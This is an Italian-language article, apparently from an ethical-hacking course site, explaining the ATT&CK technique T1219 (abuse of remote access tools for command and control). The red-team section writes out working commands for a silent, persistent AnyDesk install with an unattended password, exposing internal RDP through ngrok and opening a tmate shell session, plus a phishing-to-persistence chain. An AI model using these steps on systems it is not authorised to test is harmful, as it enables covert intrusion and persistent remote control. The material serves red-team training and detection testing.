Strumenti di Accesso Remoto: Remote Access Tools (T1219)
La tecnica T1219 - Remote Access Tools descrive l'abuso di software legittimi di controllo remoto — come AnyDesk, TeamViewer, ScreenConnect, Atera o AmmyyAdmin — per stabilire un canale interattivo di Command and Control all'interno della rete vittima. La tattica di riferimento è TA0011 (Command and Control), collocata nelle fasi finali della kill chain, quando l'attaccante ha già ottenuto un foothold e cerca un canale di comunicazione stabile, resiliente e difficile da distinguere dal traffico amministrativo legittimo.
L'attrattiva di questi tool è duplice. Da un lato offrono sessioni grafiche o CLI complete con permessi ereditati dall'utente o dal servizio; dall'altro il loro traffico transita su infrastrutture cloud vendor (spesso whitelisted dai proxy aziendali) e utilizzano certificati validi. Molti installer configurano automaticamente un servizio Windows o un LaunchAgent, garantendo persistenza gratuita. In alcuni casi la funzionalità di remote control è già presente in software preinstallato, come Chrome Remote Desktop.
I numeri MITRE parlano chiaro: 13 gruppi APT e 7 famiglie malware documentate, tra cui operatori ransomware di primo piano (Akira, BlackByte, INC Ransom, Medusa Group, GOLD SOUTHFIELD) e attori state-sponsored come Sandworm Team e MuddyWater. La campagna Night Dragon contro il settore oil & gas dimostrò già oltre un decennio fa quanto i RAT commerciali fossero efficaci come canali di infiltrazione persistente.
In un ingaggio red team, l'abuso di Remote Access Tools simula fedelmente il modus operandi di gruppi ransomware moderni. L'obiettivo è ottenere un C2 interattivo che sopravviva ai controlli EDR sfruttando binari firmati e traffico verso cloud vendor considerati affidabili.
La scelta del tool dipende dalla postura del target. AnyDesk (freemium) è ampiamente utilizzato da Akira, INC Ransom e BlackByte per la sua installazione portable: basta scaricare l'eseguibile, lanciarlo con *anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent* e recuperare l'ID via *anydesk.exe --get-id*. Impostando una password non presidiata con *echo "P@ssw0rd" | anydesk.exe --set-password* si ottiene accesso unattended. ScreenConnect e Atera (a pagamento, con trial) sono le opzioni preferite quando serve deployment massivo via MSI silenzioso, tipico degli scenari MuddyWater e FIN7.
Per bypassare NAT senza esporre infrastruttura propria, ngrok (freemium) replica quanto osservato in OilRig: ngrok tcp 3389 espone RDP interno tramite tunnel TLS verso l'edge ngrok, mascherando l'IP reale dell'operatore. In alternativa tmate (open source), adottato da TeamTNT e dal malware Hildegard, apre una sessione SSH condivisa con un semplice tmate -S /tmp/tmate.sock new-session -d seguito da tmate display -p '#{tmate_ssh}' per recuperare l'URL di connessione.
Su ambienti Linux compromessi vale la pena valutare RustDesk (open source), self-hostabile per evitare telemetria vendor. La catena tipica prevede: (1) delivery via phishing con installer MSI firmato, (2) esecuzione sotto contesto utente per non triggerare UAC, (3) registrazione del servizio persistente, (4) callback verso relay cloud del vendor. Su macOS, l'installazione di un .pkg legittimo con LaunchAgent in ~/Library/LaunchAgents/ garantisce sopravvivenza al reboot.
Per testare la detection, uno scenario realistico consiste nell'eseguire Atomic Red Team (open source) con il test T1219 che scarica e avvia un client remoto, seguito da spawning di cmd.exe o powershell.exe come child process — il pattern comportamentale che i SOC dovrebbero intercettare. L'uso di Sliver (open source) o Mythic (open source) come C2 primario, con RAT commerciale come canale di backup ridondante, replica esattamente la logica di Cobalt Group che manteneva TeamViewer come fallback in caso di perdita del beacon Cobalt Strike.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo